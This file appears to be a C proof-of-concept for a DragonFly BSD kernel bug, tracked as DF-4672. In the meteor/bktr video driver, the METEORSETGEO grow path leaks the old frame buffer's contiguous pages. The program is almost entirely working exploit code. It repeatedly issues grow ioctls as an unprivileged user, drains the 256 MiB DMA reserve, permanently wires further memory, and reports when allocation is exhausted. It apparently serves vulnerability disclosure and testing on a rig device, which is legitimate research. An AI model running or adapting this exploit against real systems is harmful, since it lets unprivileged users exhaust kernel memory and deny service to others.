/*
 * poc_wireleak.c -- DF-4672: METEORSETGEO grow path never returns the old
 * frame buffer's pages (bare kmem_free of a contigmalloc'd object-less
 * region: no alist return / no vm_page_free_contig / no pmap removal --
 * the exact misuse sys/vm/vm_kern.c:311-313 warns about).
 *
 * DragonFly contigmalloc serves allocations from the low-memory DMA reserve
 * first (vm_page.c:2765 vm_page_alloc_contig -> vm_contig_alist; the
 * reserve is 65536 pages = 256 MiB, vm_page.c:426-428) and only falls back
 * to the 3-pass PQ_FREE/PQ_CACHE scan (vm_contig.c:296+) when the reserve
 * cannot satisfy the request.  Reserve pages are permanently wired, so
 * reserve-phase leaks do NOT move v_wire_count; they permanently drain the
 * alist instead.  Observable phases of the SAME bug:
 *
 *   A. reserve drain: grows succeed, bigbuf KVA churns, v_wire_count flat,
 *      reserve alist blocks leaked forever (nothing but the buggy path
 *      takes blocks out without returning them).
 *   B. post-drain: grows fall back to the scan path, whose pages are wired
 *      by vm_page_wire (vm_contig.c:447) -> v_wire_count climbs by the new
 *      buffer's size per grow and NEVER comes back.
 *   C. exhaustion: contigmalloc fails outright -> METEORSETGEO returns
 *      ENOMEM; unpriv user has eaten 256 MiB of DMA reserve + all wired
 *      pages it cared to allocate.
 *
 * The GROW ioctls run UNPRIVILEGED (real /dev/bktr0 is 0444, no
 * priv_check anywhere in the driver).
 *
 * Build: cc -O2 -Wall -o poc_wireleak poc_wireleak.c
 */
#include <sys/ioctl.h>
#include <sys/sysctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <dev/video/meteor/ioctl_meteor.h>

#define DEV	"/dev/bktrig0"

struct rig_ctl {
	int32_t		npages;
	uint32_t	pad;
	uint64_t	bigbuf;
	int32_t		alloc_pages;
	int32_t		rc;
	uint64_t	bigbuf_pa;
	uint64_t	probe_off;
	uint64_t	probe_pa;
};
#define	RIG_INIT	_IOWR('Z', 1, struct rig_ctl)
#define	RIG_STATUS	_IOWR('Z', 2, struct rig_ctl)

static int geo_pages(int rows, int cols, int frames)
{
	return (rows * cols * frames * 2 + 4095) / 4096;
}

/* exact for target <= 511 (rows=2T); larger: rows=2046, frames scaled */
static void geo_for_target(int target, struct meteor_geomet *g)
{
	if (target <= 511) {
		g->rows = 2 * target;
		g->frames = 1;
	} else {
		g->rows = 2046;
		g->frames = (target + 1021) / 1022;
		if (g->frames > 32)
			g->frames = 32;
	}
	g->columns = 1022;
	g->oformat = 0;
}

static long wire_pages(void)
{
	size_t len = sizeof(unsigned long);
	unsigned long v = 0;

	if (sysctlbyname("vm.stats.vm.v_wire_count", &v, &len, NULL, 0) == 0)
		return (long)v;
	return -1;
}

int main(int argc, char **argv)
{
	struct meteor_geomet g;
	struct rig_ctl rc;
	int fd, k;
	long w_prev, w_now, w_start, climb_first = -1;
	long wired_up = 0, sum_new = 0;
	int grows = 0, step = 64, kmax = 64;
	char tail[256];

	if (argc > 1 && strcmp(argv[1], "--init") == 0) {
		fd = open(DEV, O_RDWR);
		if (fd < 0) { perror("open " DEV); return 2; }
		memset(&rc, 0, sizeof(rc));
		rc.npages = 32;
		if (ioctl(fd, RIG_INIT, &rc) != 0) {
			perror("RIG_INIT"); return 3;
		}
		printf("RIG_INIT: bigbuf=0x%llx alloc_pages=%d (wire=%ld)\n",
		    (unsigned long long)rc.bigbuf, rc.alloc_pages,
		    wire_pages());
		return 0;
	}
	if (argc > 2) {
		step = atoi(argv[1]);
		kmax = atoi(argv[2]);
	}

	fd = open(DEV, O_RDONLY);
	if (fd < 0) { perror("open " DEV); return 2; }
	if (geteuid() == 0) {
		fprintf(stderr, "run me as an UNPRIVILEGED user\n");
		return 2;
	}
	printf("uid=%d euid=%d (grow ioctls are unprivileged)\n",
	    getuid(), geteuid());

	memset(&rc, 0, sizeof(rc));
	if (ioctl(fd, RIG_STATUS, &rc) != 0) { perror("RIG_STATUS"); return 3; }
	printf("start: bigbuf=0x%llx alloc_pages=%d  wire=%ld\n",
	    (unsigned long long)rc.bigbuf, rc.alloc_pages, wire_pages());
	if (rc.alloc_pages == 0) {
		printf("no buffer installed (run --init as root first)\n");
		return 3;
	}

	/* noise floor */
	w_prev = wire_pages(); sleep(3); w_now = wire_pages();
	printf("idle wire noise over 3s: %ld\n", w_now - w_prev);

	w_start = w_prev = wire_pages();

	for (k = 1; k <= kmax; k++) {
		int target = step * k;
		long before, after;

		if (target <= rc.alloc_pages)
			continue;	/* grow must be strictly larger */

		geo_for_target(target, &g);
		before = wire_pages();
		if (ioctl(fd, METEORSETGEO, &g) != 0) {
			snprintf(tail, sizeof(tail), "%s", strerror(errno));
			printf("grow #%d (target %d pages = %d KiB): FAILED "
			    "(%s)\n", k, target, target * 4, tail);
			if (errno == ENOMEM || errno == ENOSPC) {
				printf("=> contigmalloc EXHAUSTED after %d "
				    "grows (phase C: unpriv exhaustion)\n",
				    grows);
			}
			break;
		}
		grows++;
		ioctl(fd, RIG_STATUS, &rc);
		after = wire_pages();
		sum_new += geo_pages(g.rows, g.columns, g.frames);
		printf("grow #%2d -> alloc_pages=%4d bigbuf=0x%llx "
		    "wire_delta=%+5ld\n", k, rc.alloc_pages,
		    (unsigned long long)rc.bigbuf, after - before);
		if (climb_first < 0 && after - before > step / 2) {
			climb_first = k;
			printf(">>> WIRE CLIMB PHASE BEGINS (reserve drained; "
			    "scan-path pages now wired permanently)\n");
		}
		w_prev = after;
		wired_up = after - w_start;
		/* stop sane: 320 MiB of post-drain wired growth is plenty */
		if (climb_first > 0 && wired_up > 81920) {
			printf("stopping: post-drain wired growth %ld pages "
			    "(%ld MiB) demonstrated\n", wired_up,
			    wired_up / 256);
			break;
		}
	}

	sleep(10);
	w_now = wire_pages();
	printf("\n== RESULT ==\n");
	printf("successful grows        : %d (all unprivileged)\n", grows);
	printf("pages allocated by grows: %ld (%.1f MiB)\n", sum_new,
	    sum_new / 256.0);
	printf("wire delta (permanent)  : %ld pages (%.1f MiB)\n",
	    w_now - w_start, (w_now - w_start) / 256.0);
	printf("wire climbed from grow  : %ld%s\n", climb_first,
	    climb_first > 0 ? " (post-reserve phase)" :
	    " (reserve never drained this run)");
	if (climb_first > 0 && (w_now - w_start) > step) {
		printf("WIRED-MEMORY LEAK CONFIRMED (pages wired by the grow "
		    "path are never returned)\n");
		return 0;
	}
	printf("reserve-drain phase only (increase kmax / step to reach the "
	    "wire-climb phase)\n");
	return 0;
}
